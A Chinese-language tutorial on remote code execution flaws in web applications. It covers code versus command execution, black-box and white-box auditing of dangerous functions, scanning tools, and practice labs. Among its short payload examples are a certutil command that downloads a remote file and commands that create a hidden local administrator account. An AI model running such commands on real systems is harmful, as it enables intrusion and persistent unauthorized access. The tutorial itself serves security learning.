web渗透之RCE漏洞
web渗透RCE漏洞
1)RCE漏洞
RCE(Remote Code Execution,远程代码执行)漏洞是 web 安全中危害极高的漏洞类型,攻击者可通过该漏洞在目标服务器上执行未授权的代码或系统命令,直接控制服务器。其主要分为代码执行和命令执行两类代码执行和命令执行
代码执行
目标应用未对用户输入进行严格过滤,导致攻击者输入的恶意代码被应用 “当作自身代码” 执行(如 PHP 的eval()、Python 的exec())
phpinfo();
命令执行
目标应用调用了系统命令执行函数(如 PHP 的system()、exec(),Java 的Runtime.getRuntime().exec()),且用户输入未过滤,导致攻击者可拼接恶意系统命令
certutil.exe -urlcache -split -f [URL] output.file
whoami
net user test$ admin /add
net localgroup administrators test$ /add
黑盒查看漏洞
功能提示可以看到,看功能有没有执行的应用,优先测试具有 “执行逻辑” 的功能模块
例如:
系统工具调用:如 “在线文件转换”(可能调用ffmpeg等命令)、“IP 查询”(可能调用ping命令)、“日志分析”(可能调用grep/findstr命令);
第三方组件交互:如 “邮件发送”(可能调用系统sendmail命令)、“PDF 生成”(可能调用wkhtmltopdf命令);
自定义执行入口:如 “后台命令行工具”“脚本执行接口”(常见于内部管理系统)。
白盒代码审计
白盒审计通过分析源码中 “危险函数” 的调用逻辑,判断是否存在未过滤的用户输入,核心是 “定位危险函数 + 检查输入过滤”
在代码中搜索特定函数如eavl造成rce漏洞代码执行漏洞,system命令执行漏洞
代码执行漏洞关键函数:不同语言对应不同的危险函数,需重点搜索:
PHP:eval()、assert()、preg_replace()(带/e修饰符)、create_function()、array_map()(回调参数可控);
Python:exec()、eval()、execfile()、compile()(参数可控);
Java:Runtime.getRuntime().exec()、ProcessBuilder(命令参数可控);
Node.js:eval()、new Function()、exec()(child_process模块)。
命令执行漏洞关键函数:重点关注 “调用系统命令” 的函数,例如:
PHP:system()、exec()、shell_exec()、passthru()、proc_open();
Python:os.system()、os.popen()、subprocess.call()(参数未拼接过滤);
Java:Runtime.getRuntime().exec()(命令未拆分,直接拼接用户输入)。
审计逻辑:找到危险函数后,追溯其参数来源 —— 若参数直接或间接包含 “用户可控输入”(如$_GET/$_POST参数、Cookie、HTTP 头),且未经过 “严格过滤”(如仅过滤rm/del等危险命令,未过滤命令拼接符),则存在 RCE 漏洞。
2)RCE检查方法
RCE 漏洞检查需结合 “黑盒测试” 和 “白盒审计”,同时覆盖 “手动测试” 和 “自动化扫描”,确保无遗漏。
3)RCE工具
Burp Suite中Intruder模块批量测试不同 payload
Commix自动化检测命令注入漏洞,python commix.py -u "http://target.com/ping?ip=127.0.0.1"
Seay源代码审计系统,自动扫描 PHP 源码中的危险函数(eval()、system()
4)RCE 漏洞练习靶场
DVWA 靶场:包含 Low 到 High 不同难度的 RCE 漏洞场景(命令执行、代码执行),清晰展示防护绕过思路,适合入门学习
Pikachu 靶场:提供中文界面的 RCE 漏洞演示环境,覆盖 PHP/Java/Python 代码执行、ping 测试等命令注入案例,对新手友好
VulnHub 靶场:基于虚拟机的实战环境,需通过 “RCE 利用→权限提升→获取 flag” 完整流程,贴近真实渗透场景
Hack The Box(HTB)- Starting Point:在线靶场基础模块,模拟企业环境中的 RCE 漏洞(如 Log4j、配置不当),适合熟悉真实场景
CTF Show - Web 模块:包含多个 CTF 风格的 RCE 挑战(框架漏洞利用、命令过滤绕过),适合提升实战解题能力
实战漏洞环境:可通过 Docker(如 vulfocus/log4j2-rce)或手动部署旧框架(如 Struts2 2.3.34),复现 Log4j、Struts2 等真实 RCE 漏洞